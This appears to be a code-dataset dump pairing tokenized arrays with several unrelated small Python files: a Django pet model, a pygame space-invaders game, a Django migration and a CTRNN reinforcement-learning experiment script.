13,
1678,
565,
3001,
510,
558,
294,
1405,
29871,
29896,
29900,
29900,
29900,
29901,
13,
4706,
640,
10633,
3066,
23661,
29896,
13,
1678,
565,
640,
3136,
1275,
29871,
29896,
29901,
13,
4706,
26764,
29922,
1457,
1111,
13,
4706,
2245,
331,
1759,
1646,
1219,
29922,
10633,
3066,
13,
1678,
25342,
758,
1111,
529,
26764,
29901,
13,
4706,
26764,
29922,
1457,
1111,
13,
4706,
2245,
331,
1759,
1646,
1219,
29922,
10633,
3066,
13,
1678,
4613,
2433,
525,
13,
1678,
1550,
4613,
451,
297,
525,
19296,
2396,
13,
4706,
4613,
29922,
710,
29898,
2080,
877,
2182,
261,
2866,
8675,
279,
29961,
29903,
29914,
29940,
5387,
1495,
467,
17010,
2141,
21064,
580,
29961,
29900,
29962,
13,
1678,
565,
4613,
1275,
525,
29940,
2396,
13,
4706,
2867,
13,
2158,
877,
29912,
13018,
29985,
29955,
29900,
29913,
4286,
4830,
877,
3738,
29924,
11662,
13756,
29954,
4717,
1529,
8785,
13,
2158,
877,
29930,
29915,
29930,
29953,
29953,
29897,
13,
2158,
29898,
29888,
29915,
29930,
29911,
2891,
1964,
353,
390,
29938,
426,
7827,
510,
558,
294,
29901,
29889,
29906,
29888,
29913,
462,
462,
462,
334,
1495,
13,
2158,
29898,
29888,
29915,
29930,
1252,
391,
331,
426,
1285,
10633,
3066,
29913,
712,
1209,
29874,
390,
29938,
29871,
29896,
29900,
29900,
29900,
29889,
29900,
29900,
462,
462,
29871,
334,
1495,
13,
2158,
29898,
29888,
29915,
29930,
29949,
9235,
437,
11859,
3066,
3503,
2594,
1219,
4732,
426,
11522,
331,
1759,
1646,
1219,
29913,
712,
25387,
29874,
390,
29938,
426,
1527,
272,
29901,
29889,
29906,
29888,
29913,
965,
334,
1495,
13,
2158,
877,
29930,
29915,
29930,
29953,
29953,
29897,
13,
2
] |
pets/models.py | Gornstats/HTMX-Django-Experiments | 0 | 50284 | from django.db import models
class Pet(models.Model):
pet_name = models.CharField(max_length=20)
def __str__(self):
return self.pet_name
| [
1,
515,
9557,
29889,
2585,
1053,
4733,
13,
13,
1990,
5879,
29898,
9794,
29889,
3195,
1125,
13,
1678,
5697,
29918,
978,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29900,
29897,
13,
268,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
10963,
29918,
978,
13,
2
] |
src/main.py | linuxbytes/pyvaders | 0 | 99105 | from random import randrange
import pygame
from pygame import mixer
import random
import math
# intial instances of pygame
pygame.init()
screen = pygame.display.set_mode((800, 600))
# Add background image
background = pygame.image.load("assests/mountains03-1920-x-1080_full.png")
# Background Music
mixer.music.load("assests/Dark Fantasy Studio - Particle voyager.mp3")
mixer.music.play(-1)
# Title logo with caption
pygame.display.set_caption("assests/PyVaders")
icon = pygame.image.load("assests/alien.png")
pygame.display.set_icon(icon)
# Player
player_image = pygame.image.load("assests/darkgrey_02.png")
player_x = 370
player_y = 480
player_x_change = 0
# Alien Enemy
alien_image = []
alien_x = []
alien_y = []
alien_x_change = []
alien_y_change = []
num_of_enemies = 6
for _ in range(num_of_enemies):
alien_image.append(pygame.image.load("assests/alien_enemy.png"))
alien_x.append(random.randrange(0, 800))
alien_y.append(random.randrange(50, 150))
alien_x_change.append(0.3)
alien_y_change.append(30)
# Alien Enemy
laser_image = pygame.image.load("assests/laser.png")
laser_x = 0
laser_y = 500
laser_x_change = 0
laser_y_change = 5
laser_state = "ready"
# Score values
score = 0
# font for score
font = pygame.font.Font("assests/Monoton-Regular.ttf", 32)
score_displayX = 6
score_displayY = 6
# font for Game Over
over_font = pygame.font.Font("assests/Monoton-Regular.ttf", 32)
"""
Draw Function from pygames
Using the screen blit
def player, alien, collision and laser
"""
def show_score(x, y):
score_display = font.render("Score : " + str(score), True, (255, 0, 0))
screen.blit(score_display, (x, y))
def game_over():
over_text = over_font.render("GAME OVER", True, (255, 0, 0))
screen.blit(over_text, (250, 250))
def player(x, y):
screen.blit(player_image, (x, y))
def alien(x, y, i):
screen.blit(alien_image[i], (x, y))
def shoot_laser(x, y):
global laser_state
laser_state = "fire"
screen.blit(laser_image, (x + 9, y + 6))
def isCollision(alien_x, alien_y, laser_x, laser_y):
distance = math.sqrt(
math.pow(alien_x - laser_x, 2) + math.pow(alien_y - laser_y, 2)
)
return distance < 27
# Game Loop
running = True
while running:
screen.fill((5, 0, 0))
screen.blit(background, (0, 0))
# Listening to each events for key press directions
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_LEFT:
player_x_change = -0.5
# print("Left Key is press")
if event.key == pygame.K_RIGHT:
player_x_change = 0.5
# print("Right Key is press")
if event.key == pygame.K_SPACE:
laser_sound = mixer.Sound("assests/laser.wav")
laser_sound.play()
laser_x = player_x
shoot_laser(laser_x, laser_y)
if event.type == pygame.KEYUP and event.key in [
pygame.K_LEFT,
pygame.K_RIGHT,
]:
player_x_change = 0
# Draw with the following colors
# screen.fill((5, 0, 0))
player_x += player_x_change
if player_x <= 0:
player_x = 0
elif player_x >= 736:
player_x = 736
# Alien movements and x changes position
"""
interate from a number aliens and generat them
also check and call isCollision
"""
for i in range(num_of_enemies):
# Game Over
if alien_y[i] > 200:
for j in range(num_of_enemies):
alien_y[j] = 2000
game_over()
break
alien_x[i] += alien_x_change[i]
if alien_x[i] <= 0:
alien_x_change[i] = 1
alien_y[i] += alien_y_change[i]
elif alien_x[i] >= 736:
alien_x_change[i] = -1
alien_y[i] += alien_y_change[i]
collision = isCollision(alien_x[i], alien_y[i], laser_x, laser_y)
if collision:
explosion = mixer.Sound("assests/Explosion.wav")
explosion.play()
laser_y = 400
laser_state = "ready"
score += 1
alien_x[i] = random.randint(0, 800)
alien_y[i] = random.randint(50, 150)
alien(alien_x[i], alien_y[i], i)
# laser movement
if laser_y <= 0:
laser_y = 500
laser_state = "ready"
if laser_state is "fire":
shoot_laser(laser_x, laser_y)
laser_y -= laser_y_change
# Call instances
player(player_x, player_y)
show_score(score_displayX, score_displayY)
"""
Final draw call for the game.
call update by end of loop
need to keep in the bottom of loop
"""
pygame.display.update()
| [
1,
515,
4036,
1053,
20088,
3881,
13,
5215,
22028,
13,
3166,
22028,
1053,
6837,
261,
13,
5215,
4036,
13,
5215,
5844,
13,
13,
29937,
938,
616,
8871,
310,
22028,
13,
2272,
11802,
29889,
2344,
580,
13,
13,
10525,
353,
22028,
29889,
4990,
29889,
842,
29918,
8513,
3552,
29947,
29900,
29900,
29892,
29871,
29953,
29900,
29900,
876,
13,
13,
29937,
3462,
3239,
1967,
13,
13,
7042,
353,
22028,
29889,
3027,
29889,
1359,
703,
465,
9197,
29914,
16476,
2708,
29900,
29941,
29899,
29896,
29929,
29906,
29900,
29899,
29916,
29899,
29896,
29900,
29947,
29900,
29918,
8159,
29889,
2732,
1159,
13,
13,
29937,
16585,
6125,
13,
13,
28084,
261,
29889,
23596,
29889,
1359,
703,
465,
9197,
29914,
29928,
935,
18089,
8995,
7448,
448,
3455,
2512,
12278,
1875,
29889,
1526,
29941,
1159,
13,
28084,
261,
29889,
23596,
29889,
1456,
6278,
29896,
29897,
13,
13,
29937,
18527,
20194,
411,
5777,
683,
13,
13,
2272,
11802,
29889,
4990,
29889,
842,
29918,
6671,
703,
465,
9197,
29914,
19737,
29963,
24574,
1159,
13,
4144,
353,
22028,
29889,
3027,
29889,
1359,
703,
465,
9197,
29914,
284,
819,
29889,
2732,
1159,
13,
2272,
11802,
29889,
4990,
29889,
842,
29918,
4144,
29898,
4144,
29897,
13,
13,
29937,
14574,
13,
13,
9106,
29918,
3027,
353,
22028,
29889,
3027,
29889,
1359,
703,
465,
9197,
29914,
26031,
7979,
29891,
29918,
29900,
29906,
29889,
2732,
1159,
13,
9106,
29918,
29916,
353,
29871,
29941,
29955,
29900,
13,
9106,
29918,
29891,
353,
29871,
29946,
29947,
29900,
13,
9106,
29918,
29916,
29918,
3167,
353,
29871,
29900,
13,
13,
29937,
10785,
264,
1174,
6764,
13,
284,
819,
29918,
3027,
353,
5159,
13,
284,
819,
29918,
29916,
353,
5159,
13,
284,
819,
29918,
29891,
353,
5159,
13,
284,
819,
29918,
29916,
29918,
3167,
353,
5159,
13,
284,
819,
29918,
29891,
29918,
3167,
353,
5159,
13,
1949,
29918,
974,
29918,
264,
331,
583,
353,
29871,
29953,
13,
13,
1454,
903,
297,
3464,
29898,
1949,
29918,
974,
29918,
264,
331,
583,
1125,
13,
1678,
394,
819,
29918,
3027,
29889,
4397,
29898,
2272,
11802,
29889,
3027,
29889,
1359,
703,
465,
9197,
29914,
284,
819,
29918,
264,
6764,
29889,
2732,
5783,
13,
1678,
394,
819,
29918,
29916,
29889,
4397,
29898,
8172,
29889,
9502,
3881,
29898,
29900,
29892,
29871,
29947,
29900,
29900,
876,
13,
1678,
394,
819,
29918,
29891,
29889,
4397,
29898,
8172,
29889,
9502,
3881,
29898,
29945,
29900,
29892,
29871,
29896,
29945,
29900,
876,
13,
1678,
394,
819,
29918,
29916,
29918,
3167,
29889,
4397,
29898,
29900,
29889,
29941,
29897,
13,
1678,
394,
819,
29918,
29891,
29918,
3167,
29889,
4397,
29898,
29941,
29900,
29897,
13,
13,
29937,
10785,
264,
1174,
6764,
13,
3333,
261,
29918,
3027,
353,
22028,
29889,
3027,
29889,
1359,
703,
465,
9197,
29914,
3333,
261,
29889,
2732,
1159,
13,
3333,
261,
29918,
29916,
353,
29871,
29900,
13,
3333,
261,
29918,
29891,
353,
29871,
29945,
29900,
29900,
13,
3333,
261,
29918,
29916,
29918,
3167,
353,
29871,
29900,
13,
3333,
261,
29918,
29891,
29918,
3167,
353,
29871,
29945,
13,
3333,
261,
29918,
3859,
353,
376,
2040,
29908,
13,
13,
29937,
2522,
487,
1819,
13,
13628,
353,
29871,
29900,
13,
13,
29937,
4079,
363,
8158,
13,
5657,
353,
22028,
29889,
5657,
29889,
9824,
703,
465,
9197,
29914,
7185,
327,
265,
29899,
4597,
1070,
29889,
698,
29888,
613,
29871,
29941,
29906,
29897,
13,
13628,
29918,
4990,
29990,
353,
29871,
29953,
13,
13628,
29918,
4990,
29979,
353,
29871,
29953,
13,
13,
29937,
4079,
363,
8448,
6811,
13,
957,
29918,
5657,
353,
22028,
29889,
5657,
29889,
9824,
703,
465,
9197,
29914,
7185,
327,
265,
29899,
4597,
1070,
29889,
698,
29888,
613,
29871,
29941,
29906,
29897,
13,
13,
15945,
29908,
13,
8537,
6680,
515,
19484,
1280,
13,
15156,
278,
4315,
1999,
277,
13,
13,
1753,
4847,
29892,
394,
819,
29892,
22369,
322,
1869,
261,
13,
15945,
29908,
13,
13,
13,
1753,
1510,
29918,
13628,
29898,
29916,
29892,
343,
1125,
13,
1678,
8158,
29918,
4990,
353,
4079,
29889,
9482,
703,
20097,
584,
376,
718,
851,
29898,
13628,
511,
5852,
29892,
313,
29906,
29945,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
876,
13,
1678,
4315,
29889,
2204,
277,
29898,
13628,
29918,
4990,
29892,
313,
29916,
29892,
343,
876,
13,
13,
1753,
3748,
29918,
957,
7295,
13,
1678,
975,
29918,
726,
353,
975,
29918,
5657,
29889,
9482,
703,
12739,
2303,
438,
5348,
613,
5852,
29892,
313,
29906,
29945,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
876,
13,
1678,
4315,
29889,
2204,
277,
29898,
957,
29918,
726,
29892,
313,
29906,
29945,
29900,
29892,
29871,
29906,
29945,
29900,
876,
13,
13,
1753,
4847,
29898,
29916,
29892,
343,
1125,
13,
1678,
4315,
29889,
2204,
277,
29898,
9106,
29918,
3027,
29892,
313,
29916,
29892,
343,
876,
13,
13,
13,
1753,
394,
819,
29898,
29916,
29892,
343,
29892,
474,
1125,
13,
1678,
4315,
29889,
2204,
277,
29898,
284,
819,
29918,
3027,
29961,
29875,
1402,
313,
29916,
29892,
343,
876,
13,
13,
13,
1753,
15049,
29918,
3333,
261,
29898,
29916,
29892,
343,
1125,
13,
1678,
5534,
1869,
261,
29918,
3859,
13,
1678,
1869,
261,
29918,
3859,
353,
376,
8696,
29908,
13,
1678,
4315,
29889,
2204,
277,
29898,
3333,
261,
29918,
3027,
29892,
313,
29916,
718,
29871,
29929,
29892,
343,
718,
29871,
29953,
876,
13,
13,
13,
1753,
338,
28377,
2459,
29898,
284,
819,
29918,
29916,
29892,
394,
819,
29918,
29891,
29892,
1869,
261,
29918,
29916,
29892,
1869,
261,
29918,
29891,
1125,
13,
1678,
5418,
353,
5844,
29889,
3676,
29898,
13,
4706,
5844,
29889,
12248,
29898,
284,
819,
29918,
29916,
448,
1869,
261,
29918,
29916,
29892,
29871,
29906,
29897,
718,
5844,
29889,
12248,
29898,
284,
819,
29918,
29891,
448,
1869,
261,
29918,
29891,
29892,
29871,
29906,
29897,
13,
1678,
1723,
13,
1678,
736,
5418,
529,
29871,
29906,
29955,
13,
13,
13,
29937,
8448,
21493,
13,
13,
21094,
353,
5852,
13,
13,
8000,
2734,
29901,
13,
13,
1678,
4315,
29889,
5589,
3552,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
876,
13,
13,
1678,
4315,
29889,
2204,
277,
29898,
7042,
29892,
313,
29900,
29892,
29871,
29900,
876,
13,
13,
1678,
396,
2391,
8333,
304,
1269,
4959,
363,
1820,
3965,
18112,
13,
13,
1678,
363,
1741,
297,
22028,
29889,
3696,
29889,
657,
7295,
13,
4706,
565,
1741,
29889,
1853,
1275,
22028,
29889,
13356,
1806,
29901,
13,
9651,
2734,
353,
7700,
13,
13,
4706,
565,
1741,
29889,
1853,
1275,
22028,
29889,
10818,
3970,
16048,
29901,
13,
9651,
565,
1741,
29889,
1989,
1275,
22028,
29889,
29968,
29918,
28024,
29901,
13,
18884,
4847,
29918,
29916,
29918,
3167,
353,
448,
29900,
29889,
29945,
13,
18884,
396,
1596,
703,
8091,
7670,
338,
3965,
1159,
13,
9651,
565,
1741,
29889,
1989,
1275,
22028,
29889,
29968,
29918,
22789,
3912,
29901,
13,
18884,
4847,
29918,
29916,
29918,
3167,
353,
29871,
29900,
29889,
29945,
13,
18884,
396,
1596,
703,
7341,
7670,
338,
3965,
1159,
13,
9651,
565,
1741,
29889,
1989,
1275,
22028,
29889,
29968,
29918,
5550,
11538,
29901,
13,
18884,
1869,
261,
29918,
29802,
353,
6837,
261,
29889,
29456,
703,
465,
9197,
29914,
3333,
261,
29889,
29893,
485,
1159,
13,
18884,
1869,
261,
29918,
29802,
29889,
1456,
580,
13,
18884,
1869,
261,
29918,
29916,
353,
4847,
29918,
29916,
13,
18884,
15049,
29918,
3333,
261,
29898,
3333,
261,
29918,
29916,
29892,
1869,
261,
29918,
29891,
29897,
13,
13,
4706,
565,
1741,
29889,
1853,
1275,
22028,
29889,
10818,
4897,
322,
1741,
29889,
1989,
297,
518,
13,
9651,
22028,
29889,
29968,
29918,
28024,
29892,
13,
9651,
22028,
29889,
29968,
29918,
22789,
3912,
29892,
13,
4706,
4514,
29901,
13,
9651,
4847,
29918,
29916,
29918,
3167,
353,
29871,
29900,
13,
13,
1678,
396,
18492,
411,
278,
1494,
11955,
13,
1678,
396,
4315,
29889,
5589,
3552,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
876,
13,
13,
1678,
4847,
29918,
29916,
4619,
4847,
29918,
29916,
29918,
3167,
13,
13,
1678,
565,
4847,
29918,
29916,
5277,
29871,
29900,
29901,
13,
4706,
4847,
29918,
29916,
353,
29871,
29900,
13,
13,
1678,
25342,
4847,
29918,
29916,
6736,
29871,
29955,
29941,
29953,
29901,
13,
4706,
4847,
29918,
29916,
353,
29871,
29955,
29941,
29953,
13,
13,
1678,
396,
10785,
264,
24147,
322,
921,
3620,
2602,
13,
1678,
9995,
13,
1678,
1006,
403,
515,
263,
1353,
394,
11689,
322,
1176,
271,
963,
13,
1678,
884,
1423,
322,
1246,
338,
28377,
2459,
13,
1678,
9995,
13,
1678,
363,
474,
297,
3464,
29898,
1949,
29918,
974,
29918,
264,
331,
583,
1125,
13,
13,
4706,
396,
8448,
6811,
13,
4706,
565,
394,
819,
29918,
29891,
29961,
29875,
29962,
1405,
29871,
29906,
29900,
29900,
29901,
13,
9651,
363,
432,
297,
3464,
29898,
1949,
29918,
974,
29918,
264,
331,
583,
1125,
13,
18884,
394,
819,
29918,
29891,
29961,
29926,
29962,
353,
29871,
29906,
29900,
29900,
29900,
13,
9651,
3748,
29918,
957,
580,
13,
9651,
2867,
13,
13,
4706,
394,
819,
29918,
29916,
29961,
29875,
29962,
4619,
394,
819,
29918,
29916,
29918,
3167,
29961,
29875,
29962,
13,
13,
4706,
565,
394,
819,
29918,
29916,
29961,
29875,
29962,
5277,
29871,
29900,
29901,
13,
9651,
394,
819,
29918,
29916,
29918,
3167,
29961,
29875,
29962,
353,
29871,
29896,
13,
9651,
394,
819,
29918,
29891,
29961,
29875,
29962,
4619,
394,
819,
29918,
29891,
29918,
3167,
29961,
29875,
29962,
13,
13,
4706,
25342,
394,
819,
29918,
29916,
29961,
29875,
29962,
6736,
29871,
29955,
29941,
29953,
29901,
13,
9651,
394,
819,
29918,
29916,
29918,
3167,
29961,
29875,
29962,
353,
448,
29896,
13,
9651,
394,
819,
29918,
29891,
29961,
29875,
29962,
4619,
394,
819,
29918,
29891,
29918,
3167,
29961,
29875,
29962,
13,
13,
4706,
22369,
353,
338,
28377,
2459,
29898,
284,
819,
29918,
29916,
29961,
29875,
1402,
394,
819,
29918,
29891,
29961,
29875,
1402,
1869,
261,
29918,
29916,
29892,
1869,
261,
29918,
29891,
29897,
13,
13,
4706,
565,
22369,
29901,
13,
9651,
20389,
291,
353,
6837,
261,
29889,
29456,
703,
465,
9197,
29914,
1252,
572,
359,
291,
29889,
29893,
485,
1159,
13,
9651,
20389,
291,
29889,
1456,
580,
13,
9651,
1869,
261,
29918,
29891,
353,
29871,
29946,
29900,
29900,
13,
9651,
1869,
261,
29918,
3859,
353,
376,
2040,
29908,
13,
9651,
8158,
4619,
29871,
29896,
13,
9651,
394,
819,
29918,
29916,
29961,
29875,
29962,
353,
4036,
29889,
9502,
524,
29898,
29900,
29892,
29871,
29947,
29900,
29900,
29897,
13,
9651,
394,
819,
29918,
29891,
29961,
29875,
29962,
353,
4036,
29889,
9502,
524,
29898,
29945,
29900,
29892,
29871,
29896,
29945,
29900,
29897,
13,
13,
4706,
394,
819,
29898,
284,
819,
29918,
29916,
29961,
29875,
1402,
394,
819,
29918,
29891,
29961,
29875,
1402,
474,
29897,
13,
13,
1678,
396,
1869,
261,
10298,
13,
1678,
565,
1869,
261,
29918,
29891,
5277,
29871,
29900,
29901,
13,
4706,
1869,
261,
29918,
29891,
353,
29871,
29945,
29900,
29900,
13,
4706,
1869,
261,
29918,
3859,
353,
376,
2040,
29908,
13,
13,
1678,
565,
1869,
261,
29918,
3859,
338,
376,
8696,
1115,
13,
4706,
15049,
29918,
3333,
261,
29898,
3333,
261,
29918,
29916,
29892,
1869,
261,
29918,
29891,
29897,
13,
4706,
1869,
261,
29918,
29891,
22361,
1869,
261,
29918,
29891,
29918,
3167,
13,
13,
1678,
396,
8251,
8871,
13,
13,
1678,
4847,
29898,
9106,
29918,
29916,
29892,
4847,
29918,
29891,
29897,
13,
13,
1678,
1510,
29918,
13628,
29898,
13628,
29918,
4990,
29990,
29892,
8158,
29918,
4990,
29979,
29897,
13,
13,
1678,
9995,
13,
1678,
9550,
4216,
1246,
363,
278,
3748,
29889,
13,
1678,
1246,
2767,
491,
1095,
310,
2425,
13,
1678,
817,
304,
3013,
297,
278,
5970,
310,
2425,
13,
1678,
9995,
13,
1678,
22028,
29889,
4990,
29889,
5504,
580,
13,
2
] |
ecommerce/core/migrations/0020_auto_20200923_1948.py | berrondo/ecommerce | 1 | 28618 | <gh_stars>1-10
# Generated by Django 3.1.1 on 2020-09-23 19:48
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0019_auto_20200923_1942'),
]
operations = [
migrations.AlterField(
model_name='orderitem',
name='order',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='items', to='core.order', verbose_name='pedido'),
),
migrations.AlterField(
model_name='orderitem',
name='product',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='order_item', to='core.product', verbose_name='produto'),
),
]
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
3251,
630,
491,
15337,
29871,
29941,
29889,
29896,
29889,
29896,
373,
29871,
29906,
29900,
29906,
29900,
29899,
29900,
29929,
29899,
29906,
29941,
29871,
29896,
29929,
29901,
29946,
29947,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
9557,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
3221,
742,
525,
29900,
29900,
29896,
29929,
29918,
6921,
29918,
29906,
29900,
29906,
29900,
29900,
29929,
29906,
29941,
29918,
29896,
29929,
29946,
29906,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
2499,
357,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2098,
667,
742,
13,
9651,
1024,
2433,
2098,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
4475,
29918,
978,
2433,
7076,
742,
304,
2433,
3221,
29889,
2098,
742,
26952,
29918,
978,
2433,
9795,
1941,
5477,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2499,
357,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
2098,
667,
742,
13,
9651,
1024,
2433,
4704,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
4475,
29918,
978,
2433,
2098,
29918,
667,
742,
304,
2433,
3221,
29889,
4704,
742,
26952,
29918,
978,
2433,
10633,
3066,
5477,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
2021-08-18.py | cooperuser/rl_ctrnn | 1 | 128530 | from job.nclimber import NClimber
from math import ceil
from multiprocessing.context import Process
from behavior.oscillator import Oscillator
from multiprocessing import Pool
from util.run import Run
from numpy import floor
import wandb
from job.learner import Learner
from rl_ctrnn.ctrnn import Ctrnn
import itertools
import random
import numpy as np
THREAD_COUNT = 10
WALL_TIMES = [120, 360, 1200]
SEEDS = [random.randint(100000, 999999) for _ in range(50)]
PROGENITORS = [
Ctrnn.from_dict(
{
"time_constants": {0: 1.0, 1: 1.0},
"biases": {0: 5.154455202973727, 1: -10.756384207938911},
"weights": {
0: {0: 5.352730101212875, 1: 16.0},
1: {0: -11.915400080418113, 1: 2.7717190607157542},
},
}
)
]
def init_run(job, wall_time, progenitor, seed) -> Run:
return wandb.init(
project="2021-08-19",
group=str(wall_time),
job_type=job,
config={"wall_time": wall_time, "progenitor": progenitor, "seed": seed},
)
def get_frozen(ctrnn: Ctrnn) -> float:
voltages = ctrnn.make_instance()
behavior = Oscillator(dt=0.01, size=ctrnn.size, duration=10, window=10)
behavior.setup(ctrnn.get_output(voltages))
while behavior.time < behavior.duration:
voltages = ctrnn.step(0.01, voltages)
behavior.grade(ctrnn.get_output(voltages))
return behavior.fitness
def calculate_displacement(a: np.ndarray, b: np.ndarray) -> float:
return np.sqrt(np.sum(np.power(a + -b, 2)))
def hill_climber(wall_time, ctrnn, seed):
run = init_run("hill_climber", wall_time, ctrnn, seed)
m = NClimber(ctrnn, seed, mutation=0.15)
m.setup()
time = 0
distance = 0
data = {
"Time": time,
"fitness": m.attempts[m.best][1],
"distance": 0,
"displacement": 0,
}
for y in range(ctrnn.size):
for x in range(ctrnn.size):
data[f"weight.{x}.{y}"] = ctrnn.weights[x, y]
run.log(data)
a: np.ndarray = m.attempts[0][0].weights
b: np.ndarray = m.attempts[0][0].weights
while time < wall_time:
m.single_step()
b = m.attempts[m.best][0].weights
distance += calculate_displacement(a, b)
a = b
time += int(m.duration * m.samples)
data = {
"Time": time,
"fitness": m.attempts[m.best][1],
"distance": distance,
"displacement": calculate_displacement(ctrnn.weights, b),
}
c = m.attempts[m.best][0]
for y in range(c.size):
for x in range(c.size):
data[f"weight.{x}.{y}"] = c.weights[x, y]
run.log(data)
run.finish()
def reinforcement_learner(wall_time, ctrnn, seed):
run = init_run("rl_learner", wall_time, ctrnn, seed)
m = Learner(ctrnn, seed)
m.behavior.dt = 0.01
m.behavior.duration = wall_time
m.behavior.window = 10
time = -1
while m.behavior.time < m.behavior.duration:
m.iter()
if time != (t := floor(m.behavior.time)): # possible rename `t` to `time`
if t % int(wall_time / 120):
continue
time = t
data = {"Time": t}
data["fitness"] = get_frozen(m.rlctrnn.ctrnn) # m.behavior.fitness
data["distance"] = m.rlctrnn.distance
data["displacement"] = m.calculate_displacement()
for y in range(m.rlctrnn.ctrnn.size):
for x in range(m.rlctrnn.ctrnn.size):
data[f"weight.{x}.{y}"] = m.rlctrnn.center[x, y]
run.log(data)
# run.summary["fitness"] = get_frozen(m.rlctrnn.ctrnn)
run.finish()
if __name__ == "__main__":
def c(args):
print(args)
args[0](*args[1:])
# methods = [random_walker, hill_climber, reinforcement_learner]
args = itertools.product(
[reinforcement_learner, hill_climber], WALL_TIMES, PROGENITORS, SEEDS
)
# p = Pool(2)
# p.map(c, list(args))
args = list(args)
num_threads = ceil(len(args) / THREAD_COUNT)
groups = [args[i::num_threads] for i in range(num_threads)]
for group in groups:
threads = []
for g in group:
threads.append(Process(target=c, args=(g,)))
for _, p in enumerate(threads):
p.start()
for _, p in enumerate(threads):
p.join()
| [
1,
515,
4982,
29889,
29876,
695,
326,
495,
1053,
25166,
2576,
495,
13,
3166,
5844,
1053,
2257,
309,
13,
3166,
6674,
307,
985,
292,
29889,
4703,
1053,
10554,
13,
3166,
6030,
29889,
14174,
453,
1061,
1053,
438,
1557,
453,
1061,
13,
3166,
6674,
307,
985,
292,
1053,
28625,
13,
3166,
3667,
29889,
3389,
1053,
7525,
13,
3166,
12655,
1053,
11904,
13,
5215,
24706,
29890,
13,
3166,
4982,
29889,
1945,
1089,
1053,
19530,
1089,
13,
3166,
364,
29880,
29918,
9988,
15755,
29889,
9988,
15755,
1053,
315,
509,
15755,
13,
5215,
4256,
8504,
13,
5215,
4036,
13,
5215,
12655,
408,
7442,
13,
13,
13,
4690,
16310,
29918,
18736,
353,
29871,
29896,
29900,
13,
29956,
9818,
29918,
15307,
29903,
353,
518,
29896,
29906,
29900,
29892,
29871,
29941,
29953,
29900,
29892,
29871,
29896,
29906,
29900,
29900,
29962,
13,
1660,
3352,
29903,
353,
518,
8172,
29889,
9502,
524,
29898,
29896,
29900,
29900,
29900,
29900,
29900,
29892,
29871,
29929,
29929,
29929,
29929,
29929,
29929,
29897,
363,
903,
297,
3464,
29898,
29945,
29900,
4638,
13,
8618,
24647,
1806,
24125,
353,
518,
13,
1678,
315,
509,
15755,
29889,
3166,
29918,
8977,
29898,
13,
4706,
426,
13,
9651,
376,
2230,
29918,
3075,
1934,
1115,
426,
29900,
29901,
29871,
29896,
29889,
29900,
29892,
29871,
29896,
29901,
29871,
29896,
29889,
29900,
1118,
13,
9651,
376,
5365,
2129,
1115,
426,
29900,
29901,
29871,
29945,
29889,
29896,
29945,
29946,
29946,
29945,
29945,
29906,
29900,
29906,
29929,
29955,
29941,
29955,
29906,
29955,
29892,
29871,
29896,
29901,
448,
29896,
29900,
29889,
29955,
29945,
29953,
29941,
29947,
29946,
29906,
29900,
29955,
29929,
29941,
29947,
29929,
29896,
29896,
1118,
13,
9651,
376,
705,
5861,
1115,
426,
13,
462,
29900,
29901,
426,
29900,
29901,
29871,
29945,
29889,
29941,
29945,
29906,
29955,
29941,
29900,
29896,
29900,
29896,
29906,
29896,
29906,
29947,
29955,
29945,
29892,
29871,
29896,
29901,
29871,
29896,
29953,
29889,
29900,
1118,
13,
462,
29896,
29901,
426,
29900,
29901,
448,
29896,
29896,
29889,
29929,
29896,
29945,
29946,
29900,
29900,
29900,
29947,
29900,
29946,
29896,
29947,
29896,
29896,
29941,
29892,
29871,
29896,
29901,
29871,
29906,
29889,
29955,
29955,
29896,
29955,
29896,
29929,
29900,
29953,
29900,
29955,
29896,
29945,
29955,
29945,
29946,
29906,
1118,
13,
9651,
2981,
13,
4706,
500,
13,
1678,
1723,
13,
29962,
13,
13,
13,
1753,
2069,
29918,
3389,
29898,
9057,
29892,
10090,
29918,
2230,
29892,
410,
1885,
2105,
29892,
16717,
29897,
1599,
7525,
29901,
13,
1678,
736,
24706,
29890,
29889,
2344,
29898,
13,
4706,
2060,
543,
29906,
29900,
29906,
29896,
29899,
29900,
29947,
29899,
29896,
29929,
613,
13,
4706,
2318,
29922,
710,
29898,
11358,
29918,
2230,
511,
13,
4706,
4982,
29918,
1853,
29922,
9057,
29892,
13,
4706,
2295,
3790,
29908,
11358,
29918,
2230,
1115,
10090,
29918,
2230,
29892,
376,
771,
1885,
2105,
1115,
410,
1885,
2105,
29892,
376,
26776,
1115,
16717,
1118,
13,
1678,
1723,
13,
13,
13,
1753,
679,
29918,
29888,
307,
2256,
29898,
9988,
15755,
29901,
315,
509,
15755,
29897,
1599,
5785,
29901,
13,
1678,
5583,
1179,
353,
274,
509,
15755,
29889,
5675,
29918,
8758,
